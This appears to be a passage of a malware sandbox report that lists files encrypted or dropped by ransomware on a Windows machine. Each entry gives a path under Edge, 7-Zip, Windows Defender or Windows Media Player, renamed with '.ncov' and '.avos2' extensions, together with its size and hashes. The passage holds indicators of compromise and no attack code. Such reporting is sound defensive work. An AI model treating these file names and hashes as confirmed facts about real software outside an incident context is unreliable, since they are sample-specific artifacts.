C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\identity_helper.Sparse.Internal.msix.avos2

Filesize
688B

MD5
5a71b1b9d07abe51c815e797a589ff64

SHA1
e77299455aec7d9234f7f9d2b9289884a89a1317

SHA256
aaf6efe287faf20abfbbba1dc28940be4bc90cfa1394a3691152b6d730d58303

SHA512
3ff7c27fcd76b6c2b85d8fc2d3be3465d1c3fc1ab99955d6b1c4b136ca13925839acf67db712ef7f0c0f62a1a039217b34283fea215144c51db5a881567ffc47

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\identity_helper.Sparse.Stable.msix.avos2

Filesize
688B

MD5
3857740969ec597358dc1d15d7433585

SHA1
6420403593fdf03d6974dfa2f18cfc9c5b42b0dd

SHA256
770cbc31a9db2206f8fce8345b86cdf22246070dbe51a8667da83c4f29a2078e

SHA512
65b72c7882d1d995e323618b5b3a3292dd4f403ba6e6a721c7cc18fec086a7861ed86a469c8b9694388ede68d4825f6b139623f225a6094c248d95b6a5a805d1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\internal.identity_helper.exe.manifest.avos2

Filesize
688B

MD5
48d48d91f709b33131427ee545cd5495

SHA1
5f105f56e09a04b0ae60b3903d15abba32a323be

SHA256
feff2a29589268acfa3613338a8164a200df59a05b875629faa53e90f7649d96

SHA512
aad11bafb3973ada0536086fd4cc4598bf1e1b026fd2c47eca8e56ec056e67122ae7dc307d3e9a2f05be32941d4ec86ea35f005295e218ffbffb8ed297e8dae3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\resources.pri.avos2

Filesize
688B

MD5
08ef03410823a4ad585a1165473d9cdc

SHA1
0f1485b0f8ca81946279b314a95d957a689f5202

SHA256
057fdc03e8b32cb3b978031099617fdb61d5b2b8814c5bb20f39b8eeb9919cd1

SHA512
8fb0cd272540d559d3d00868528bece9283fc195b79b2018af4e3a1381d827ede94caad88aec4e18cd867d3cb900df71f9616ccd59679099529c9a8bd5a6b588

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\libGLESv2.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
7.0MB

MD5
35fbf6150a60cec9d2062bb8ef80ac4d

SHA1
f24e55d874962d032b2c0a5ba2b2e2cfe6de4e2e

SHA256
5a7e778b6a9dd81fc6f0fd3a7ca1467cdf43e543a87e2100b20a00fe25a7e478

SHA512
6451bfa0dd1b758e73a02c32eb2c7e7eac0684d7ac0f7a7e8dcbbf5c81ab72feab949f4bd9e79f6ee2308700acf6608dc1829c24279ede310f801eff283b6b3a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\libsmartscreen.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.4MB

MD5
df6dba9918544f30838ed8aa482f7170

SHA1
cf48836950044b0e8ce0a437c1b159e55ba69189

SHA256
82a7a7d83a172cfd8db839914d7df73822375483abfc7f7c7864323cec1fb16e

SHA512
528ce15e24d73a936855cee18ab45828e7d19d1599e014e01c4447a746f0c5d9c5697d04039bdadce215510d063ea9232aebebb606f9506651c9e8e7f2e334a0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\mip_core.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.4MB

MD5
c57ea92c030465f84d666629710fa6e6

SHA1
195aeb7f775188fdf47f9c4877846518a5efb113

SHA256
2862e023b7979b1a40e80c462967887045ea6b099a698f98a633afe9dd9b01f8

SHA512
ff0cb114b733defd34175c5c3eb8e08497cb52e838d686d8209793dfe9c1d2210822da7e63ef1236df476c63041392c9bf53869a122912454a59728a31d3c014

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\mip_protection_sdk.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.2MB

MD5
6f1638ca150d54dc6aeab457fb4eee44

SHA1
c8724bf97399f43c08bd4d03121216f474cd9c94

SHA256
ef997d1bee9dc0a3003f0158521262ece12d852e34100c267875591b3081f04e

SHA512
45534a9f872f132a38c573a8313054c439d90284db4194d390ba3f13d8cf32bb60347b6db646bddc8e1ebb334a53cdf361c8f51b0383af27f0583a9a9d28214a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\msedge.EtwManifest.man.avos2

Filesize
688B

MD5
59332ea8344fcf0c648f57644fb35c06

SHA1
0d56a718db704f64a2af927e7d8c8511df074750

SHA256
87337c6ad93ca9e09b8a38e208349482e63f9be5f206b5359c7ef63e0e45674d

SHA512
cb642e7bbe9bb3fcbe0c02433e74d04ab735d3c52d17d3ef5d70aaddd6812c7f2bbd21e55716f09d589deb6fc9abbb05a9a4501e183ce4d52e9db4a9cb0170f4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\msedge.dll.sig.avos2

Filesize
688B

MD5
5b58cc0f61fb5a32f418d6f3d184c05a

SHA1
7b93e212b7d4d1116d786f53fbccf08f1da1eda9

SHA256
ee6ca8674e24f0e34cec80b67b7493a33b7f44b207c2fec80810474c116b72cc

SHA512
242103bfc46aa5d6faf959d21903d9790baddc82a979af3b0f97ab7e4d3500677100a0bd300e8684a968247ab5af9a61ae0c6664b8bc6dc5544aae05cd3c5a38

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\msedge.exe.sig.avos2

Filesize
688B

MD5
6788395143f2743ea4593fc730e73db6

SHA1
991130378fe72f7fbed063ac5c311b7dba9bfb04

SHA256
515d938ed0957fea49159f4ed3a6fe6592ae4eb04b6b7621b206bfde376afa78

SHA512
28518c519c4ac77d0744a4bc017c84f639d685d28042499a07d9dc97ea18e31bd975711220ff60f5d8c885533e114ae02d3ea6899d43a58be4b436c01fa1f4d0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\msedge_100_percent.pak

Filesize
688B

MD5
b3c5a4a50538eb39ce58fce2709095cb

SHA1
cec7dde075b95ee083794a66df1ce37d381902a2

SHA256
acfd5a6bad124f2658800e9bc0a13bc6b956256d87c987109a368b4d40857828

SHA512
057c85ac537a2173a03dcd32551a3ed6bef5422e7e7ca827c29587303e08f500e27e9e605d2130460320c136db60f3bddf1e7436be5e86372375fbc98cdf9983

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\msedge_200_percent.pak.avos2

Filesize
688B

MD5
8b7d3eab67c44176a3e521347d873a71

SHA1
d48d75e15dc0c0eddebc0bbde5aee4555526ac79

SHA256
89ff70dfc16cabd4d5ef823d3625ce772692de921f137702817b74ae1337d375

SHA512
c2b053dfedd982e17a7a93b37692b1e0fcdfc70d1eff26ff8a30dd33d123eeb9c4b251c38f5447b20b172b82aa8456c5e5588b883e4393f3cf81c373eba2cbc8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\msedgewebview2.exe.sig.avos2

Filesize
688B

MD5
e4d745f80082e3febd94f6f7b9bbbacd

SHA1
295d41d65c99992d0ffb71779581d51d8b4d292e

SHA256
8beb6750f649f1bcb1fbf4ea7ddf5c4b874abf21c055ae49d39afa035e690cc8

SHA512
beb3bd8e5f0d6b7087e9a6bcf4939e80c97b77c1405ed57900280047738854e045b4cbe5614de3c7f337392cfe24adb3e7ee56fd9f949d6afdc0b5846e13d863

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\nacl_irt_x86_64.nexe.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.9MB

MD5
faf43bbaaeb60cc83b7bf80bd468549a

SHA1
8bfecec8b36801fcb4658a75608768cd35b03a3e

SHA256
f36d2b54e9b20c573ce9f41ee4073c56746c7b14060fe3bf623d28e631a53806

SHA512
83c26107a104ce182d6e4784515404694571ee012679771ee6c34a805700a8b284a09e8bc3a2ee21f2d66d44598f0a997f0f2c8c8cedc634be7d2545b74b6870

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\notification_helper.exe.manifest.avos2

Filesize
688B

MD5
5570b767b72a2a7195380b6254161fb8

SHA1
4d40ce768f3640ab546bd16b391a4faa8389d295

SHA256
a7df7788534c65b920da83c4475738875b7fdd2418ed5679e64b79376ce15933

SHA512
d8b8cc60e6e0aecb5cc9847d36d6f9040381f3157b40169f7e3710df329d378852fe18c9502e645882685a0193d170d6d42f727845daf1e9135c64abcefc00b3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\oneauth.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
6.1MB

MD5
d50bbe6900846aa8f5d5a5e4cbf0abe3

SHA1
a79ba58d079f8cf3e25b743148283dbd8f257ad5

SHA256
50ee6396cad4c37b5f920f51e858b3ba66771e7ea354b141b5f1fecd26ec0186

SHA512
fa54984e87a19977bb0a65130bff7710571c5b419f4d4f778b83349f44ac625bd1d0fa83173cde01abbe0be118836ccc56190fe637c84ab1eb1d1956fb65c745

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\oneds.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.5MB

MD5
3a4180f8e60caafaccc21286d5a6a754

SHA1
c37a3110a824cdd5ee7dbc7b1e669a049e960fdd

SHA256
90e2176a9b17b2cd9c67711ee68aa2f637e4ff95cff7a0011c5e5cabb360d054

SHA512
f33ae882f6f49e0167a08e008477b117feb6c41fd393660c84ff7a43ca37a58c82c3ef26984d651697f7a47be5ee1511d5518195eefd0627fdc533cae47b24a3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\onnxruntime.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
3.8MB

MD5
9c548efd943ea014b17510fd2decc788

SHA1
3dfb49efe1fc0a9176cee78b9f3193dbf24cfe2b

SHA256
f099eb7be36d482b2e7d77288c79583a2dc6317e5694b597fddd5e4fa3b43fb3

SHA512
4c031fc9959811e6e4d334063a46b4d7529d856d21ff74512eef7e0e17b9cd13b631eddf28eb8a41612909cb65fbac4f643f4ce64d13dc47657e811e1864f747

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\pwahelper.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
4.4MB

MD5
20115b33d92fa085e2a6c4a335e8f8b2

SHA1
f0ac2ba0c6c7f45f66180c229c22c70be98f8237

SHA256
27be75195ce9ae3d30e965d744254ba6c69b8416ec2619f164c0cdd48cdc8f5d

SHA512
60e178ee8cf4c03e7a7875b7852670ca8d23bbdb5997662593fb1fd74de742c848420014fef225f100c3bc5540c161207b2cb55dfccc68d6ca3b31c85bfbd8dc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\resources.pak.id-9C365015.[[email protected]].ncov.avos2

Filesize
16.5MB

MD5
c95b0cd5d7b86a63da635d2b1611b7cd

SHA1
95bb19db4be5f38421c07bc4b0a317d71e3d6aa3

SHA256
3c84dbe7c22bde0c8e8bb04454279c4272342079f4968c2403ac2522c514f8ff

SHA512
ecb9773dd997d540bf3793fcbd48b143e2c7fe000e6a5080a675881399662d9e6cadd88060b87e23a277ddf1a95d94091698d35b11f12f1ec82f7b13634f5b9c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\swiftshader\libGLESv2.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.0MB

MD5
de8bc8edae2a685292c756b68093af4c

SHA1
c25d05306aaedab84da0b16291d390c69a3b5e71

SHA256
20624f81f952c9a29da94b2df232dbed16623e188d4641cf2046f79566e5356b

SHA512
322dc64d00561064a97f6440390332f18848365633897bcdbda44ea29d85a3f490f01d9d855eff72eb1659cad53ea5ade4bd66abad0b75ff2db17e1c9720114d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\telclient.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
4.4MB

MD5
2ef6b4cf3242a5e2e7275632bac21a84

SHA1
3ea5181d0f20f6384447f8e1f13ecb21dfb7d606

SHA256
c3de70b4c8deb007d80f41549388ccc9d77af7a890f48512b10182516581bfeb

SHA512
b1fd9e7246eb5dd730c6fe5eb7d43bf7b5b9ee909b9bba3e8d8655ae49e1d895e2b460cba3f2344637ea5a30fe2940d69a286223e7816da3456c22bf57264563

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Installer\msedge_7z.data.avos2

Filesize
688B

MD5
98d846dc3598a7c8e418178a0779fddf

SHA1
ceaa3139f5f4561fa36b89a865610fab5fe7e4d2

SHA256
f163537cd4b339eb2b427acf3e25b68f36fb077527979e436a7a137fb308d5d1

SHA512
7636f3a4c61f19a3bdc5a86da56ad9ca5a87a592c05e0b42c7bced0754cb6a49b2a6e7ae6d4d2e3cbac6d4494d348ebc3beced1818e8747cf1dab5cc39f89e25

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Locales\ca-Es-VALENCIA.pak.avos2

Filesize
688B

MD5
6fb28b8a7a3eba2a7d8fdff92f07a8db

SHA1
07a2f0d4b02a1d4b6440964e5d911633c01e1a14

SHA256
2cf34474a015448defca3a7d489913e336473e07a13ebb24cc8d3794953e235b

SHA512
0310bcd16d4b00fd7bce7f909a85d2392dcb51c851fd7c26c71e4f55438f16ca0b838cc793e432f18f879bd5b38d8c706fface6dadeea36a89c83619dd894690

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Locales\hr.pak.avos2

Filesize
688B

MD5
e3c3d080e004e02d152729024c86c03c

SHA1
42a416e3826adeaa627f0df91dc6c1f432426209

SHA256
3b1e501509e7c7574c7037d60f7df5f5db8d81ddab5878e99894a6226a1b1bf1

SHA512
3ec8cea6bb076de338edf2a9a2a01e5501463bb93e038b8b69dd940386ffc8af3659b25909084edacac89878328117114b94f574f40ba8c97c13bc9a912961fc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Locales\lt.pak.avos2

Filesize
688B

MD5
2837ed7960e67a9115897ca3dce8d0f0

SHA1
5f5045826d2cfd7f84979cd9eff8776b60f57d0b

SHA256
289765ff95765af13dca843719e309511b05ba9b228e0baf64e3cf70b9bbb6b4

SHA512
3d56e5a83f276ca9ba0560ff80143dcc76122e661cc7867019d011839282a455181055702a1e9e4901cefa90881d6675bed38a8d955b0e8566d929a7ddf43578

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Locales\pt-BR.pak.avos2

Filesize
688B

MD5
8699b5279bd9f0016048d205116418e8

SHA1
82c05627ed1136316920e00622d5d05ddb4fa06d

SHA256
3096c2b9257d5e95a58e75d54a84e97ed11a5a252fbe10f8c51bb22539801ac4

SHA512
cd524ad37c8ebde950e8ab88b3765af2d200b2bac9c19d8107e0c84637ec45e4a58a25e3828017500a4ffc4f637f29c95d97113ff00d7093045b205ef8367b8e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Locales\ro.pak.avos2

Filesize
688B

MD5
b51db4436fcef5d7634dafb6d6ab92c9

SHA1
9fbc8b282aaca5428f4ac4e5e5e62275bf995370

SHA256
a74696964dd5a10a8ebace7bd683bed29ae0719dfd3e6e2bc9a15b6aa22f6a0c

SHA512
2163ec16d752b4a48e9a454a8e1e47161867836eb5e39ea6d036d22b760843c46c7801913f59429b8daa690b496a45b877ad1031038e43945b0f912d7e0fd939

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Locales\uk.pak.avos2

Filesize
688B

MD5
c6d444f76667cf7920fd2b685f1d460a

SHA1
8160216a2e7499c9a06c7f39cd34e5b66434c4dd

SHA256
d35498d531fb441a1f93d2ccfec5cf937b370c335cfaab568e26fe3a7ce90aea

SHA512
ff10a4c83e7be490fd6826989d95621f7f65f9f7daa5c2e1c67e2fc6afa49d8a9016fe54d7d40426318afbf77c4907e56b35426ace2f5a07e96fa073c8dc39ef

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\devtools\de.pak.DATA.avos2

Filesize
688B

MD5
c7dda83ca241f23100660ce9d17fcf37

SHA1
9f236290a241afd2cd0359716787bcf62017f0d0

SHA256
641ef171258c290369afa9131835f830ebee62d7d923c85280d325c2c68353a3

SHA512
36e4f09a3d7c6b5cf0273cc061e8316fee9e134319ea16fd9a0fb2852787ce67fcb1dff2a892a1a91e962300fb8053ee64e0ab975351daea0fd96fa07e76ad6b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\el.pak.DATA.avos2

Filesize
688B

MD5
356e570870d545f959ce69d8090e81fc

SHA1
12455a9b6ab753717864dd3e539de66498408551

SHA256
68ce036014a489279be2ca6d76d829797516920b2b85f9642900d55a0e64df5f

SHA512
939484c973255b423e186c2bc3c7fe838287f9284ac215542c606d4c14833491a207e2ae218e029e6a13adf01347dbd2c5171d07622d0d92618b2fcaba2eccc0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\en-GB.pak.DATA.avos2

Filesize
688B

MD5
b2a0ea4dbf2c8b54e3c8a2a2cffbd0a4

SHA1
7e3d5417936d79ceced1e88f350e2af827daf39a

SHA256
e41b16587d667b573c0db65f8e32b408cde29c4ace5ec0cc9e4516a9fd808379

SHA512
7226fabf97af141fdb61b7f75acd30fe75e844ae4b674a5ae0865b8792731cc6030931a8a8a6dd9cac6503170207e58f1c7e0256a0e42200ae5ea6cb9ad20f90

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\fr.pak.DATA.avos2

Filesize
688B

MD5
1e1f24d094f05640758f1fafddf43115

SHA1
784d4544499be3f36c753516e7d9385e8a920786

SHA256
d4af431fb31f100135c8da0f7d83a770ed67843661510e9324ca4d4334657c19

SHA512
1583dfd0250ec3ec6c0e2c559657052589df634a11f3f3c8a4faa2033602b3ca9a22e6ec9722242c21617691128600dc580debfe73d1b34f3dbbf02b228e99aa

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\ko.pak.DATA.avos2

Filesize
688B

MD5
b8a76516d5ca93c97d18c12fbecc5425

SHA1
c2c3515eff59430ea779c15b67233cd5aa59b8a6

SHA256
28c577fb7e1ec6cc706379b59bc26131992af598f6f905fb2d8c49b0c38e1fd6

SHA512
5b7c33474d6399f4bcd285c7fc9954ba391079a575ad7cbbc596238f708d696dce1ab42b38ac1d9f1e1de842243901a6daefa7fa6391358023d3eea4fdf53592

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\sr-Latn-RS.pak.DATA.avos2

Filesize
688B

MD5
22118704b4be0cfa778803aac736a8da

SHA1
24f4516e94c9177ec47b8c2ca0fba40b489b9d43

SHA256
950dba46bca6d3ef8db76a878a521f1067083ad61bcf2199a2af7a7b4bfa43dc

SHA512
950d8e738e4e340a6b11cbc378af9c4bee51f292d82a56990fea12f194fd5cdde8a495ae6ffaa56d53324fab7bac16f709b1adb7dc2201a09a78524124dad73b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\sv.pak.DATA.avos2

Filesize
688B

MD5
04fcd335e503572e8cae0bbbe0cd8fce

SHA1
4d30af4a438bb5b98380e128c8a0344dd52301a7

SHA256
afe8a4b6be1f838293672ffdebc4a1237151ba7982f67353dfe9382c85c1f72b

SHA512
0a50a2218dc3eab8eac2668c8e13b7f9a06bb09d4f6e9ca8be02a6d3635af0f18b68a9c1cdf8d579e974434ef49ab330122f86e60a407c3b111c7ad784b2fcc2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Locales\te.pak.DATA

Filesize
688B

MD5
a9d0c9ba8af193d3f257689a259820f4

SHA1
1d2c336c0c619e21ddc1cea594883ae7452be1be

SHA256
25c0598624cc9a6eed8080c85ef6f86eb561260e0c99261f54b71a21de535cdc

SHA512
9ca8dc0b5079804c9a2a96193d7cfbf395d90bdf7c9841b825a17940a933643264b1dd69447b247f196c365219a250e05f9e24c0feca46bd3d4734c734d8dafe

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\ResiliencyLinks\Notifications\SoftLandingAssetDark.gif.DATA.avos2

Filesize
688B

MD5
c59e2bd820f2abbeb483da980c2d528f

SHA1
d7825b1aac72bc3152cecb572588c5db657e6b51

SHA256
878b25422a6dc54ad65ac0a5cb276e24b16fbae4b394d549e712f47d1032308e

SHA512
b71d2ee51cbb7e61facb9ecac2ce48f408f87c08d92399d570831113e8301f4796f81a06b1c1140dc83df0d490efbf115e38dbfc5ce9ccfa88d54780dba6f1b2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\Trust Protection Lists\Mu\Content.avos2

Filesize
688B

MD5
5c35a4de100f2f6a8cbf9ed9f8e67873

SHA1
23e471b589b7131fb3382841d0d37d1c753bff39

SHA256
7f9b04a207e7911ac7d61e7a88dfba03fd95d71dbe06e8c46df47f49bcf1994b

SHA512
68043db9e48375e065f54c68b79fe5623a102b93dc8b9bbbca3c026786a9ac0202fd238d334624783a82b68ef6085a255b653e6e9e6d888550dd428c24fe593e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\identity_proxy\stable.identity_helper.exe.manifest

Filesize
688B

MD5
a35257c6eed00111e5ad0791e982d92f

SHA1
fa6c4c7c7304de08c33d464a6c9129677142ad21

SHA256
8bbcfccb82673771961cc4064d89f40ce8dc6ee87c63c758200d16ac934d110c

SHA512
22e57986daf1564043d23be26b9c8a47a6111a645ba69f079c54abba3ac352a004133a2c256ab3b7bb2a6fd576e40c5b7003adc065bb1cb1014f51c4bb14c2c3

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\Installer\setup.exe.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.9MB

MD5
42d64ec7a6201692ca845524ad7c9115

SHA1
4af155efc937eeec50f47795e206fe6a64da0eb4

SHA256
e0ab19c2014ddf2899ca20f41194e715bbce1cec2847ae67123ee520fe4a3563

SHA512
dd2aed4c9b1815fc746787f19f65f64fc22b396173c294bc4aa978768b51e7d4a7dd22b0d6f12a83e0bf5cb99adaae9125115ce5a764f39b245229ed362ad08d

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\msedge.exe.id-9C365015.[[email protected]].ncov

Filesize
5.4MB

MD5
e4565a8122a47330d224b03abe3333c0

SHA1
65a5afaa9ff41cb861fe31d24690aa31c50f756a

SHA256
de0233b60781f3d2b187b16924cbc6a5eed5bb89eb5ca68c0c1e25b17728388a

SHA512
e9544d674bdd248ee5dfd61e29390f37a040aeb9ab55a4d49987d19a2fc370a85bc6fb3a294f553329420482de30b7a1b0504683054b352d5f8b3c154a6f454e

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\msedgewebview2.exe.id-9C365015.[[email protected]].ncov

Filesize
5.0MB

MD5
7d897d90dc9f3855f4ab386d022f56c3

SHA1
413d9afc24f7744d66f5fc194d174ff6c124c061

SHA256
46f060bf97c523b4f6e5219373941a34fdd1fd293bc30d246b08db0f3859daee

SHA512
69616eb3357af01a2ddae1dea27f07299b574b6083514759d844cbbdc226d9f50b1976188455bd8eec14772cbf1010b686bef0c87ac922546045d3e0c3805c6a

Download Submit
C:\Program Files (x86)\MountTaiSoftware\Lodop\CAOSOFT_WEB_PRINT_lodop.ocx

Filesize
1.5MB

MD5
230c8f87850fd67b6b3024da50f360bb

SHA1
f3a629ece2b85aee9a88b3caebc54ac66053330a

SHA256
3b30b5a1a4561ce2ef9b7fd0f2aa97e533f35c2bdbdb534995cc44066ae0f90a

SHA512
5dfdedebe4a0e3843d68a3d93a44e54979f8a637902f499c278b5bb91c3a61561f3ed5de510c54405dd4f093128b9b69e175f6b63f9be2b000bbe381f6a2c3eb

Download Submit
C:\Program Files (x86)\Windows Media Player\de-DE\setup_wm.exe.mui.avos2

Filesize
62KB

MD5
dab269694aa0e4abb108f3e2f9c00e81

SHA1
611f6df65b367cd4b9acb126361b226919c24382

SHA256
6d51a6d7a89ca40d916cd12363440bd12e4b8b8247ca8b357fb940997dffde24

SHA512
ed0b550029175c7dc75f65743a3cf8d4141e654b5009ade582bfbdfc5fe6463cf5b7c40bfe5df119cb6da977e5cd2327d5bbc4962a5faab806fe2a69825d7b4c

Download Submit
C:\Program Files (x86)\Windows Media Player\uk-UA\mpvis.dll.mui

Filesize
3KB

MD5
7573c7babddbc3122262795bae1984e7

SHA1
566c7cb5feea504e4136ba1bba07d61060e5e82b

SHA256
5f03e245a182356e5fe495649ea50f142fbcaa2f0c22874bfed354606adf2a6b

SHA512
e3bdfcc8988834692af693f9ff969b17fb4eae433490951b19bf98130d52d2e3ebbc160fa5d7657fd092de0f1573f9f68a9b21f027791700450a0a377a6c7965

Download Submit
C:\Program Files (x86)\Windows Media Player\uk-UA\wmlaunch.exe.mui

Filesize
3KB

MD5
6615f46c431ea9abd9fbf224f8d954dd

SHA1
1c9d9d95ca755d48bc655e92f51891331b756a97

SHA256
fa2d9fe6dcf8fbfa3ce8a7f2172bddac2b6fc2d245e0fec9b5ad22c8de19403e

SHA512
dd3c4fa412ad02bbb0bed90b68dd0d5eb39432a9ceed432d884336fa3e709f60b6a621049531ecddf0360c88d48e2cfebeb0a860d219d500775367ff88b1b88e

Download Submit
C:\Program Files\7-Zip\7z.dll.id-9C365015.[[email protected]].ncov

Filesize
2.5MB

MD5
5a7f745a58397cd7f0fe76bc8b5af9d6

SHA1
b7664e274efc91bade3953aeb55c2e6637636b91

SHA256
73914e8f08f3829a4a311d060aeab4b50de69cc8eb4c5914cb8ef66fed653e51

SHA512
ec1baec4a6ea4a6da63e82d4c82d600fb25f717591d7bfb9f313c15d780b34d77adc33f854ba5abe73fc2d868853e64b2759bb6ec3fa70ad58da34de90e0d849

Download Submit
C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui.avos2

Filesize
3KB

MD5
736f07f2badddd5fbb3ed5e671a03bca

SHA1
1dfbcfe8781eaae57a550d86cd8a029e22fc63f8

SHA256
82e96adf152d25f8898f455bcb483fbfba397af3bd5a189fdeb3117bcb674ccc

SHA512
011547e05b91276dc30be2624eeb73bb7345fff2899b363df0f60c89ef1a777cdc162ac4e9f527ad3480819e5e44e98c59d15e816273e8b15bd2cca249bf258d

Download Submit
C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui.avos2

Filesize
61KB

MD5
042b4eb729c19c805c99de2384dd36df

SHA1
b51290d0df4f1c55cbb1188ffecebe0a69f3f9da

SHA256
28ced61117d448aaeea71571ca830ef5fce3bf5431a1bc18928517f92e857789

SHA512
c2087f23d84d459022ae8220c4eca7c6931379011e4cd6fb1a9ba4a66dd7e42041613056cff5aeae7fddd89d6904109dcdf3e99708078c8a8ee86396deb081c8

Download Submit
C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui

Filesize
3KB

MD5
e3ed614826439e4dc6e8529c23f79f3b

SHA1
c47b15c60b23b74e5d54afde1885cfe3c56c3247

SHA256
5a1f51323c4a4480718431d928198267f2abfef51d0ce132cde942ee6f18eafa

SHA512
c6d3c2d556155d25f9ac9559c53d385a96f3aff2cefac787f896968406507b12f90da680b74ce3c3cf0897c9d15073fa7b389cc74afe9cc7f177ba00aff04b61

Download Submit
C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui.avos2

Filesize
58KB

MD5
1d0dd3fdbf54fc040cb0f0847ce19045

SHA1
28fc6339f0835ea85aa14361a5b8d6f8f648a324

SHA256
07fbe971ab8e0cf164fe2528af3c8f1289e9ea2789dcf065f01711c8417988bf

SHA512
c5da5709e423f5f3078cdecbd6397ef02707bf7e9a4c90b2bf9941e23725e6758562d20eb3c2f6704f9192568e2637a896e01edae0425e298a2537dc20bf1438

Download Submit
C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui.avos2

Filesize
3KB

MD5
63cf44571b6d7145084482adb1ff2f04

SHA1
f2f814ad2ae330139c5abfba4fb8f55d091c8726

SHA256
78410633c60be70c55164568543d7bd1dbf711c5ec745c1c6221008b8e85a0a1

SHA512
dedce5cedf5af3dd60757ee29224326a7568cc1606c503def9870f98090850a23dcf099d69c85286ffa976ef3f0aeb8991a0f7e1b6d756589e5b0bd8e121f739

Download Submit
C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui.avos2

Filesize
62KB

MD5
d093c956dda35c3dc4ed85f06639330b

SHA1
4bb5af33c2e5fc9f365ac73bca532ff6338c3d31

SHA256
12ee02263d6dab8dd189d649d4991f125611f804d3e78f88bec662313c4bf45c

SHA512
7c61c459c89d69496787bc8c517ece5629a9dbaf0a285fff5dd7ab518e8f721df0c23184c30ead006e4998e49cf475c9ac10c0c82cc01b309f018e017a537de3

Download Submit
C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui

Filesize
3KB

MD5
880b80ba06f50ae9d83a4b4d18a65fdb

SHA1
3816702ff2b8c34360e700e3a4e4b051aabd0774

SHA256
e3dacb3c960da63ab8deee43aa15b99e918516ad4ecf1562a3a6d5251c193a91

SHA512
ca523666072d53884818ac0897e09b5a77f00d1e57c174203bf1835874568bb60efec03f6579d7296e690f3be72a8583f8af08226584901cda84658c3193087d

Download Submit
C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui.avos2

Filesize
58KB

MD5
5f853f523465dcf4c184611f8a25e2dc

SHA1
c57f0d540d9349474cbfe0253c85c80a0c51f351

SHA256
